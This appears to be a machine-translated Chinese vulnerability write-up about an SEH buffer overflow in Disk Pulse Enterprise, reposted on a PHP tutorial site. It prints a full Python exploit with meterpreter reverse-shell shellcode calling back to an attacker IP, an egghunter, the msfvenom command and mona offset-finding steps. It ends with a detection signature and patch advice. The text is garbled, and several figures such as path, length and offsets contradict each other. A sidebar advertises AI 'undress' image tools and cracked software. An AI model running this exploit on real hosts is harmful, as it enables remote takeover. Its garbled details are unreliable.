一、漏洞簡介
Disk Pulse Eneterprise是一款監視磁碟變化的軟體,它可以透過一個管理埠9120或web管理視窗80對軟體進行連線管理,從而監視磁碟的變更。在Disk Pulse Eneterprise中有一個動態連結庫libspp.dll ,其中有一些負責HTTP操作的函數,問題就出現在這個動態連結庫中,在處理後資料時,由於對於後資料沒有進行嚴格的長度控制,導致在執行取得後資料時向無效記憶體拷貝資料造成緩衝區溢出,觸發SEH異常行為處理,最後控制EIP,執行任意程式碼。
軟體下載連結:https://[www.exploit-db.com/apps/a679e77e57bf178b22bff5e86409a451-diskpulseent_setup_v9.0.34.exe](http://www.com/explo-db.com/ /a679e77e57bf178b22bff5e86409a451-diskpulseent_setup_v9.0.34.exe)
#漏洞揭露位址:https://[www.exploit-db.com/exploits/40452](http://www.com/exploits /40452)
二、實驗環境
windows 7 x86:系統環境
IDA pro:靜態分析工具
#免疫調試器:漏洞分析專用調試器
WinDbg的:漏洞調試器
三、漏洞分析
先簡單看一下POC,是一個比較綜合的緩衝區溢位漏洞。該文中討論了SEH結構化異常處理程序和egghunter技術。
SEH概述
熟悉程式設計的人可能對結構化異常處理(SEH)這種用於處理硬體和軟體異常的視窗機制很熟悉。它通常表示為嘗試/除和的try / catch程式碼區塊。
Egghunter概述
簡單來說,它是一種尋址技術,它透過設計標記並跳到另一個標記的位置來執行 shellcode。當shellcode無法存放在緩衝區時,使用egghunter技術是必要的。
首先,我們先分析POC
#!/usr/bin/python import socket import sys s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('192.168.46.160',80)) #msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.46.171 LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\x0d\x26' -f python --smallest buf = "" buf += "\xdb\xdf\xd9\x74\x24\xf4\xba\x92\xa7\xae\xd7\x5b\x29" buf += "\xc9\xb1\x56\x31\x53\x18\x83\xc3\x04\x03\x53\x86\x45" buf += "\x5b\x2b\x4e\x0b\xa4\xd4\x8e\x6c\x2c\x31\xbf\xac\x4a" buf += "\x31\xef\x1c\x18\x17\x03\xd6\x4c\x8c\x90\x9a\x58\xa3" buf += "\x11\x10\xbf\x8a\xa2\x09\x83\x8d\x20\x50\xd0\x6d\x19" buf += "\x9b\x25\x6f\x5e\xc6\xc4\x3d\x37\x8c\x7b\xd2\x3c\xd8" buf += "\x47\x59\x0e\xcc\xcf\xbe\xc6\xef\xfe\x10\x5d\xb6\x20" buf += "\x92\xb2\xc2\x68\x8c\xd7\xef\x23\x27\x23\x9b\xb5\xe1" buf += "\x7a\x64\x19\xcc\xb3\x97\x63\x08\x73\x48\x16\x60\x80" buf += "\xf5\x21\xb7\xfb\x21\xa7\x2c\x5b\xa1\x1f\x89\x5a\x66" buf += "\xf9\x5a\x50\xc3\x8d\x05\x74\xd2\x42\x3e\x80\x5f\x65" buf += "\x91\x01\x1b\x42\x35\x4a\xff\xeb\x6c\x36\xae\x14\x6e" buf += "\x99\x0f\xb1\xe4\x37\x5b\xc8\xa6\x5f\xa8\xe1\x58\x9f" buf += "\xa6\x72\x2a\xad\x69\x29\xa4\x9d\xe2\xf7\x33\x94\xe5" buf += "\x07\xeb\x1e\x65\xf6\x0c\x5e\xaf\x3d\x58\x0e\xc7\x94" buf += "\xe1\xc5\x17\x18\x34\x73\x12\x8e\x77\x2b\x0c\xe5\x10" buf += "\x29\x51\xe8\xbc\xa4\xb7\x5a\x6d\xe6\x67\x1b\xdd\x46" buf += "\xd8\xf3\x37\x49\x07\xe3\x37\x80\x20\x8e\xd7\x7c\x18" buf += "\x27\x41\x25\xd2\xd6\x8e\xf0\x9e\xd9\x05\xf0\x5f\x97" buf += "\xed\x71\x4c\xc0\x89\x79\x8c\x11\x3c\x79\xe6\x15\x96" buf += "\x2e\x9e\x17\xcf\x18\x01\xe7\x3a\x1b\x46\x17\xbb\x2d" buf += "\x3c\x2e\x29\x11\x2a\x4f\xbd\x91\xaa\x19\xd7\x91\xc2" buf += "\xfd\x83\xc2\xf7\x01\x1e\x77\xa4\x97\xa1\x21\x18\x3f" buf += "\xca\xcf\x47\x77\x55\x30\xa2\x0b\x92\xce\x30\x24\x3b" buf += "\xa6\xca\x74\xbb\x36\xa1\x74\xeb\x5e\x3e\x5a\x04\xae" buf += "\xbf\x71\x4d\xa6\x4a\x14\x3f\x57\x4a\x3d\xe1\xc9\x4b" buf += "\xb2\x3a\xfa\x36\xbb\xbd\xfb\xc6\xd5\xd9\xfc\xc6\xd9" buf += "\xdf\xc1\x10\xe0\x95\x04\xa1\x57\xa5\x33\x84\xfe\x2c" buf += "\x3b\x9a\x01\x65" #pop pop ret 1001A333 nseh = "\xEB\x0B\x90\x90" seh = "\x33\xA3\x01\x10" egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74" egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7" evil = "POST /admin HTTP/1.1\r\n" evil += "Host: 192.168.46.160\r\n" evil += "User-Agent: Mozilla/5.0\r\n" evil += "Connection: close\r\n" evil += "Accept: textml,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" evil += "Accept-Language: en-us,en;q=0.5\r\n" evil += "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n" evil += "Keep-Alive: 300\r\n" evil += "Proxy-Connection: keep-alive\r\n" evil += "Content-Type: application/x-www-form-urlencoded\r\n" evil += "Content-Length: 21000\r\n\r\n" evil += "\x41" * 12292 #subtract/add for payload evil += "w00tw00t" evil += "\x90" * 20 evil += buf evil += "\x90" * 50 evil += "\x42" * 1554 evil += nseh evil += seh evil += "\x90" * 20 evil += egghunter evil += "\x90" * 7000 print 'Sending evil buffer...' s.send(evil) print 'Payload Sent!' s.close()
攻擊者建立了http請求包,可以看出post請求,url是/ login,content-length:17000。發送了12292個“\ x41”字節,然後發送了“w00tw00t”8個字節,之後發送了20個“\ X90” NOP字節,之後發送的buf,再加50個NOP,1614個“\ X42”,接下來就是SEH的異常處理機制(不太懂的同學可以去深入了解一下),接下來是egghunter執行程式碼,大概意思就是去跳到含有雙重“w00t” 的地方執行。剩下就是緩衝區的填滿。
接下來我們使用文DBG開啟有漏洞版本的應用程式。
發送有效載荷,觸發漏洞。輸入克,返回地址被覆蓋,KB查看堆疊呼叫。
這裡呼叫了libspp.dll的SCA_HttpParser的GetNextString函數,接下來程式進入SHE異常行為處理,透過覆寫SEH Handler打到程式碼執行。
開啟IDA,分析10092822處,在libspp中SCA_HttpParse類別負責處理HTTP的一些相關操作,其中有一個函數名為ExtractPostData負責處理後數據,在這個函數入口下斷點。這個函數的入口位址為10092510
傳送緩衝區全用一個取代的POC,觸發漏洞,如下圖所示:
查看傳入情況,後期資料作為第二個參數傳入,注意是完整傳入。
這裡繼續單步跟踪,到達之前說到的GetNetString函數。
這個函數會做一件事情,就是將第一個參數,也就是後期資料進行拆分,將每一部分分離出來作為後續處理,單步步過,可以看到第一次進入GetNextString之後,拆分了第一個資料。
第一次分離出來了用戶名,接下來,再次進入GetNextString開始拆分第二個字串,這個拆分過程會執行一系列的拷貝操作。
这个LOC块负责拷贝,其中10092822地址就是触发漏洞的关键位置,ESI是待拷贝的缓冲区首地址,EDX是拷贝长度,CL是拷贝内容,这里是一个字一个字拷贝的。
因此,当超过开辟缓冲区大小的时候,就会引发向无效地址拷贝的问题。
看一下EDX + ESI的值,可以看到,后面已经超过了开辟缓冲区的大小,后面就是无效缓冲区了。
之后看一下ECX的值
CL就是将ECX的低地址一个字节一个字节拷贝,这里由于向无效地址拷贝,引发SEH异常处理,最后达到代码执行,来看一下伪代码。
再来看一下GetNextString函数的伪代码。
四、漏洞利用
首先发送poc,触发漏洞,使用免疫调试器,查看她链,被成功覆盖。
我们需要找到SHE的偏移量。
利用蒙娜丽莎命令生成20000个字符
!mona pattern_create 20000
运行完在C:\日志\ FTPServer的\ pattern.txt中找到。
重启程序,将其加入到脚本中的BUF中运行
使用蒙娜丽莎命令来寻找SEH偏移量
!mona findmsp
查看蒙娜丽莎的控制台输出,找到它的描述SHE偏移量的部分。
偏移量是14292。
接下来,要寻找pop pop ret的地址
使用!mona seh
打开seh.txt日志查找指向POP POP RET序列的代码块地址。
设置的shellcode里面的
nseh =“\ xEB \ x0B \ x90 \ x90”seh =“\ x33 \ xA3 \ x01 \ x10”
利用msf生成通用的shellcode,命令如下
msfvenom -a x86 --platform Windows -pwindows / meterpreter / reverse_tcp LHOST = 192.168.46.171 LPORT = 4444 -ex86 / shikata_ga_nai -b'\ x00 \ x0a \ x0d \ x26'-f python -smallest
在POC中写入的shellcode,再写入过程中,要根据BUF的长度,修改后面偏移量的值。
重启程序,打开的Metasploit
选择开发模式
输入命令,设置参数
发送poc,触发漏洞,查看metasploit反应,输入shell,可以连到到存在漏洞主机的shell。
五、漏洞利用特征:
请求方式:POST
请求路径:/登录
漏洞特征:POST +任意路径+内容长度:> 14292+ | eb | +任意字节+ | 90 90 |
六、防御建议
升级应用程序,对应用程序打补丁或者下载新版本的应用程序,或者装载杀毒软件。
下载地址:https://www.diskpulse.com/downloads.html
以上是如何實作Disk Pulse Eneterprise Window應用程式的漏洞分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!

熱AI工具

Undresser.AI Undress
人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover
用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool
免費脫衣圖片

Clothoff.io
AI脫衣器

Video Face Swap
使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱門文章

熱工具

EditPlus 中文破解版
體積小,語法高亮,不支援程式碼提示功能

Atom編輯器mac版下載
最受歡迎的的開源編輯器

MinGW - Minimalist GNU for Windows
這個專案正在遷移到osdn.net/projects/mingw的過程中,你可以繼續在那裡關注我們。 MinGW:GNU編譯器集合(GCC)的本機Windows移植版本,可自由分發的導入函式庫和用於建置本機Windows應用程式的頭檔;包括對MSVC執行時間的擴展,以支援C99功能。 MinGW的所有軟體都可以在64位元Windows平台上運作。

Dreamweaver CS6
視覺化網頁開發工具

SecLists
SecLists是最終安全測試人員的伙伴。它是一個包含各種類型清單的集合,這些清單在安全評估過程中經常使用,而且都在一個地方。 SecLists透過方便地提供安全測試人員可能需要的所有列表,幫助提高安全測試的效率和生產力。清單類型包括使用者名稱、密碼、URL、模糊測試有效載荷、敏感資料模式、Web shell等等。測試人員只需將此儲存庫拉到新的測試機上,他就可以存取所需的每種類型的清單。